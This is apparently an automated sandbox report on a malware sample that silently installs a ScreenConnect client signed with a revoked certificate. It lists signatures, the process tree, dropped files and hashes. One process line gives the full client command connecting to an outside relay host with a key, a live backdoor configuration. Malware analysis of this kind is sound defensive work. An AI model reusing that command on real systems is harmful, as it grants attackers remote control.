Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/07/2026, 14:04

General

  • Target
    2026-07-20_e948542506a5ec1423c54a906efd04fc_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.4MB
  • Sample260720-rdc9sact7j
  • SHA256 aa77f96bcd0e5946741e7012d526af1a1a7082348d2f7ab18be90b5c3d48ff47
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-20_e948542506a5ec1423c54a906efd04fc_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-20_e948542506a5ec1423c54a906efd04fc_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\b02031265ec790e8\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4068
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2120
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 889632BD7D2762A9A75CC390CC61DDD9 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5248
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF846.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240711921 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1604
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:6116
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9881B3F328B91516DCF02DFB6029FCED
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5572
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 647FAE78336F45383E96FA22EF3E2A55 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1988
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3044
    • C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.granformula.online&p=8041&s=15cb59a6-7263-4dd2-9eae-caca2df6c59a&k=BgIAAACkAABSU0ExAAgAAAEAAQA5fltGAeBxFbSo4AgEK027egKdnNYqq8B8I%2fKmcKv3yFN7O3QoOo2WPbKPzko95b7%2b68Tiz7Eo5x8ubi8IGtdic1unzV80vwY4GresZMB5XBfhKzSXVgZgdbjNpdtu8Oan%2bpyUgrgMgcZ5bFlXcWFZNSeZK4YkebpfYiOYtvtcm5PnwJKJxtOn4u4KmSp4sPc14ioY8I8slUqnwOxwPPd7w2l%2bG7CrMekkLaLg72GbgGz5YOd%2fwEwYE577FYG5NtHsRPBDbc2TUfL%2bkrugcbRqi%2bYTQEZf%2fVaxwNxAnFaq5TfvoJmUBNobABP%2fZfE8n1OrXMNb0SRry1XKM%2f4jf3Ld"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2116
      • C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.WindowsClient.exe" "RunRole" "d530a3a9-3631-4590-a8d8-dbb0a5e4db87" "User"
        2⤵
        • Executes dropped EXE
        PID:1848
      • C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.WindowsClient.exe" "RunRole" "1708f2a5-5ddb-4db4-8a36-031575c33af7" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5992

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e593698.rbs

          • Path C:\Config.Msi\e593698.rbs
          • Size 214KB
          • SHA256 d6f741d7b0e19ad4e9fe307d03d100a7c30fd5e78509d6ccfa8f379238ed9b06
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\Client.Override.en-US.resources
          • Size 300B
          • SHA256 b29d7803e6b02fe453e9cd83c014300e393576a498dedb867930dac7708b5393
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\Client.Override.resources
          • Size 681B
          • SHA256 96bc344fb7d56af6fe9337129abc5769ab51a6c6bb890cda7dce09a6bb8cae0e
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\app.config
          • Size 1KB
          • SHA256 d0c2e3b726109e5f5b7b13f8efca2e49a8d590b8f2f20b8ab3b15769c968e80b
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b02031265ec790e8)\system.config
          • Size 950B
          • SHA256 248e173f1eeb1b1be66c12158e37043d1dbe93ba7a9ef67bfa45e753bf29b051
          • MD5 SHA1 SHA512 TLSH

          MSIF846.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF846.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF846.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF846.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF846.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIF846.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\b02031265ec790e8\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 f3a524b8a7ed6e5796b09000d66f28d1e8e3c2674b88db005a7fdedb4beb70df
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI389B.tmp

          • Path C:\Windows\Installer\MSI389B.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 2022b06fe3adad68b5493a1e37cee6b387ccefafe93919b4f212ba2461c1d408
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {653fb640-eb62-4065-8e6c-049a81626f28}_OnDiskSnapshotProp

          • Path \??\Volume{73216430-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{653fb640-eb62-4065-8e6c-049a81626f28}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 f8f4ff9dca5e1cc690c152b0f59995a04f5255205d4f29ecc2e51b35b1df3682
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1604-30-0x0000000003010000-0x000000000303E000-memory.dmp

          memory/1604-34-0x0000000003060000-0x000000000306A000-memory.dmp

          memory/1604-42-0x00000000056E0000-0x000000000588C000-memory.dmp

          memory/1604-38-0x00000000054A0000-0x000000000552C000-memory.dmp

          memory/1848-129-0x0000000000FF0000-0x0000000001088000-memory.dmp

          memory/1848-135-0x0000000003180000-0x0000000003198000-memory.dmp

          memory/1848-134-0x00000000030E0000-0x00000000030F8000-memory.dmp

          memory/1848-133-0x000000001C370000-0x000000001C4F6000-memory.dmp

          memory/1848-132-0x000000001C1C0000-0x000000001C36C000-memory.dmp

          memory/1848-131-0x000000001BC70000-0x000000001BCFC000-memory.dmp

          memory/1848-130-0x0000000003120000-0x0000000003156000-memory.dmp

          memory/2116-118-0x0000000003D20000-0x0000000003DF5000-memory.dmp

          memory/2116-113-0x0000000003890000-0x00000000038C6000-memory.dmp

          memory/2116-87-0x00000000010F0000-0x0000000001108000-memory.dmp

          memory/2116-116-0x00000000038D0000-0x0000000003911000-memory.dmp

          memory/2116-114-0x0000000003B40000-0x0000000003BD2000-memory.dmp

          memory/2116-109-0x0000000003840000-0x0000000003890000-memory.dmp

          memory/2716-5-0x0000000002D30000-0x0000000002D52000-memory.dmp

          memory/2716-3-0x00000000055F0000-0x00000000058E2000-memory.dmp

          memory/2716-6-0x00000000053F0000-0x000000000559C000-memory.dmp

          memory/2716-7-0x0000000005E90000-0x0000000006434000-memory.dmp

          memory/2716-8-0x0000000002D70000-0x0000000002D80000-memory.dmp

          memory/2716-4-0x0000000005360000-0x00000000053EC000-memory.dmp

          memory/2716-1-0x0000000002CB0000-0x0000000002CB8000-memory.dmp

          memory/2716-0-0x0000000002D70000-0x0000000002D80000-memory.dmp

          memory/2716-2-0x0000000002D70000-0x0000000002D80000-memory.dmp